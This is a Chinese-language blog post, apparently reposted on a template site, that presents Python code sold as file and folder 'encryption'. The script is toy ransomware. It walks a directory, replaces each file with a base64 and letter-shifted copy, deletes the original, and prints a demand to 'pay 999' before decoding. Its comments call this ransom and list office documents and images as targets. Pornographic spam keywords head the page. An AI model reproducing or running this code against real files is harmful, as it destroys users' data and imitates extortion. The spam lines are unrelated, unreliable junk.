国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Python實現(xiàn)對文件或文件夾的加密/解密

這篇具有很好參考價值的文章主要介紹了Python實現(xiàn)對文件或文件夾的加密/解密。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

? 這個代碼實現(xiàn)了對文件夾內(nèi)指定類型文件的加密和解密操作,使用了base64庫對文件進(jìn)行加密和解密,使用os模塊進(jìn)行遍歷目錄,判斷文件類型,并進(jìn)行加密和解密操作,最后實現(xiàn)了文件刪除和寫入操作

代碼實例:文章來源地址http://www.zghlxwxcb.cn/news/detail-641420.html

import base64,os
# 對一個文件進(jìn)行勒索,怎么對文件夾進(jìn)行勒索
# 聯(lián)系:對某些目錄下關(guān)鍵文件:word xls docx ppt pptx rar jpg png txt
import base64,os
# 對指定文件進(jìn)行加密
def ransom_enypt(filepath):
    # filepath = input("請輸入文件路徑:")
    with open(filepath, 'rb') as file:
        data = file.read()
    source = base64.b64encode(data).decode()
    # 對字符串加密 右移5位
    result = ''
    for i in source:
        if ord(i) in range(97, 123) or ord(i) in range(65, 91):  # 判斷i是小寫或者大寫字母,統(tǒng)一右移五位
            result += chr(ord(i)+5)
        else:
            result += i
    os.remove(filepath)  # 刪除源文件
    with open(filepath+'.enc', 'w') as file:  # 加上后綴重新寫入文件
        file.write(result)
# ransom_enypt()
# 對指定文件進(jìn)行解密
def ransom_deypt(filepath):
    with open(filepath, 'r') as file:
        data = file.read()
    result = ''
    for i in data:
        if ord(i) in range(102, 128) or ord(i) in range(70, 96):  # 解密 向左減5
            result += chr(ord(i) - 5)
        else:
            result += i

    result = base64.b64decode(result)
    os.remove(filepath)
    with open(filepath.replace('.enc', ''), 'wb') as file:
        file.write(result)

# 對文件夾進(jìn)行加密或解密
def dir_crypt(dirpath,type='encode'):
    dirs = os.listdir(dirpath)
    for filename in dirs:
        filename = os.path.join(dirpath, filename)
        # 判斷是目錄還是文件
        if os.path.isdir(filename):
            dir_crypt(filename, type)
        # 如果是文件,根據(jù)type的值進(jìn)行加減密
        else:
            if type == 'encode':
                ransom_enypt(filename)
            elif type == 'decode':
                ransom_deypt(filename)
            else:
                raise Exception("type error")
if __name__ == '__main__':
    # ransom_enypt('./name/1.png')
    # print("文件已加密,解密請扣666")
    # num = int(input("請輸入:"))
    # if num == 666:
    #     ransom_deypt('./name/1.png.enc')
    #     print("解鎖成功~")
    # else:
    #     print("不扣不解")

    # 加解密文件夾
    dir_crypt('./ceshi')
    print("文件夾被鎖了,解密請扣999")
    num = int(input("請輸入:"))
    if num == 999:
        dir_crypt('./ceshi', type='decode')
        print("解鎖成功~")
    else:
        print("不扣不解")

到了這里,關(guān)于Python實現(xiàn)對文件或文件夾的加密/解密的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務(wù),不擁有所有權(quán),不承擔(dān)相關(guān)法律責(zé)任。如若轉(zhuǎn)載,請注明出處: 如若內(nèi)容造成侵權(quán)/違法違規(guī)/事實不符,請點擊違法舉報進(jìn)行投訴反饋,一經(jīng)查實,立即刪除!

領(lǐng)支付寶紅包贊助服務(wù)器費用

相關(guān)文章

  • python怎么創(chuàng)建一個文件夾,用python創(chuàng)建一個文件夾

    python怎么創(chuàng)建一個文件夾,用python創(chuàng)建一個文件夾

    大家好,小編來為大家解答以下問題,python中如何創(chuàng)建一個新文件,python如何創(chuàng)建一個文件夾,今天讓我們一起來看看吧! 這篇文章主要介紹了如何通過python新建一個文件中的文件,具有一定借鑒價值,需要的朋友可以參考下。希望大家閱讀完這篇文章后大有收獲,下面讓小

    2024年04月29日
    瀏覽(31)
  • 自動駕駛采集多視角圖像處理(python實現(xiàn)不同文件夾下同名圖片批量拼接并生成視頻)

    自動駕駛采集多視角圖像處理(python實現(xiàn)不同文件夾下同名圖片批量拼接并生成視頻)

    目錄 1.圖像拼接 2.合成視頻 2.1 cv2.videowriter_fourcc功能介紹 2.2讀取圖片合成視頻 實現(xiàn)目標(biāo):將自動駕駛車6個攝像頭采集到的圖片,按照正確順序拼接顯示,nuScenes數(shù)據(jù)集測試如下: 圖像存放文件夾目錄如下: 每個目錄下有相同名稱,不同視角采集到的圖像?。 先顯示圖片,代

    2024年01月18日
    瀏覽(33)
  • 怎么加密文件夾才更安全?安全文件夾加密軟件推薦

    怎么加密文件夾才更安全?安全文件夾加密軟件推薦

    文件夾加密可以讓其中數(shù)據(jù)更加安全,但并非所有加密方式都能夠提高極高的安全強(qiáng)度。那么,怎么加密文件夾才更安全呢?下面我們就來了解一下那些安全的文件夾加密軟件。 如果要評選最安全的文件夾加密軟件,那么 文件夾加密超級大師 一定會名列榜首。 針對文件夾加

    2024年02月14日
    瀏覽(26)
  • Python-拷貝文件和文件夾到指定的文件夾

    之前使用windows批處理命令,感覺語法太不友好,還需要傳很多參數(shù),用起來很麻煩,最后還是用Python來實現(xiàn)。 網(wǎng)上太多的教程,真的不知所云,有點太麻煩了,拷貝之前先刪除,也懶得判斷。 shutil.copyfile 顧名思義 拷貝的是文件 shutil.copytree 顧名思義 拷貝的是文件夾 這樣使

    2024年02月11日
    瀏覽(23)
  • python判斷文件或文件夾是否存在、創(chuàng)建文件夾

    以下的內(nèi)容參考http://t.csdn.cn/aybFd,https://www.cnblogs.com/hushaojun/p/4533241.html python判斷文件或文件夾是否存在、創(chuàng)建文件夾 1、判斷文件或文件夾是否存在 2、判斷所給路徑是文件還是文件夾 3、創(chuàng)建文件夾 4、獲取當(dāng)前.py文件的路徑 5、獲取指定目錄下所有的文件和文件夾 刪除一個

    2024年02月10日
    瀏覽(84)
  • python讀取文件夾下的文件以及子文件夾中文件

    os.listdir() 讀取目標(biāo)文件夾下的文件名和子文件夾名,不會遞歸讀取子文件夾下 方法一: root, dirs, files = os.walk() 遞歸讀取文件夾和 子文件夾下所有文件 。方法二:也可以用os.listdir(),判斷是文件夾再os.listdir()自己寫一個遞歸程序 示例

    2024年02月16日
    瀏覽(90)
  • Python 文件和文件夾操作

    模式 操作 若文件不存在 是否覆蓋 rb 二進(jìn)制只讀 報錯 - r+ 可讀可寫 報錯 是 w 只寫 創(chuàng)建 是 wb 二進(jìn)制只寫 創(chuàng)建 是 w+ 可讀可寫 創(chuàng)建 是 a 只寫 創(chuàng)建 否,追加寫 a+ 可讀可寫 創(chuàng)建 否,追加寫 open(\\\'path\\\', \\\'mode\\\') 打開一個文件如果需要指定路徑,為防止路徑中的 對 python 干擾, 最

    2024年02月09日
    瀏覽(16)
  • chatgpt賦能python:Python如何保存文件到文件夾?

    Python是一種高級編程語言,廣泛應(yīng)用于數(shù)據(jù)科學(xué)、網(wǎng)絡(luò)編程、自動化任務(wù)等領(lǐng)域。其中,保存文件到文件夾是Python編程中的重要功能。本文將介紹Python如何保存文件到文件夾的方法,包括如何創(chuàng)建文件夾和如何向文件夾中保存文件。 在Python中,可以使用os模塊中的makedirs()函數(shù)

    2024年02月08日
    瀏覽(50)
  • python獲取文件夾下所有文件

    python獲取文件夾下所有文件,大家肯定都會想到os.listdir了,但是這種方法只能夠獲取到當(dāng)前文件夾中的所有文件/文件夾,如果我想獲得文件夾-文件夾-文件呢? 我的需求是只要文件夾中所有非文件夾,換句話來說對于我們的需求只有文件夾和非文件夾兩種情況,那么直接聯(lián)

    2024年02月12日
    瀏覽(24)
  • [Python系列] 監(jiān)聽文件夾和文件

    ? ? ? ? 經(jīng)常在寫程序的時候,要監(jiān)聽某個文件夾是否生成了新的文件,或者某個文件是否被修改了。也有時候是實時監(jiān)控某個地方看看是不是被垃圾文件或病毒文件占據(jù)或者生成了log信息及時需要處理的??偠灾泻芏喾N情況下,都需要對文件夾及文件進(jìn)行監(jiān)控并且及時

    2024年02月03日
    瀏覽(19)

覺得文章有用就打賞一下文章作者

支付寶掃一掃打賞

博客贊助

微信掃一掃打賞

請作者喝杯咖啡吧~博客贊助

支付寶掃一掃領(lǐng)取紅包,優(yōu)惠每天領(lǐng)

二維碼1

領(lǐng)取紅包

二維碼2

領(lǐng)紅包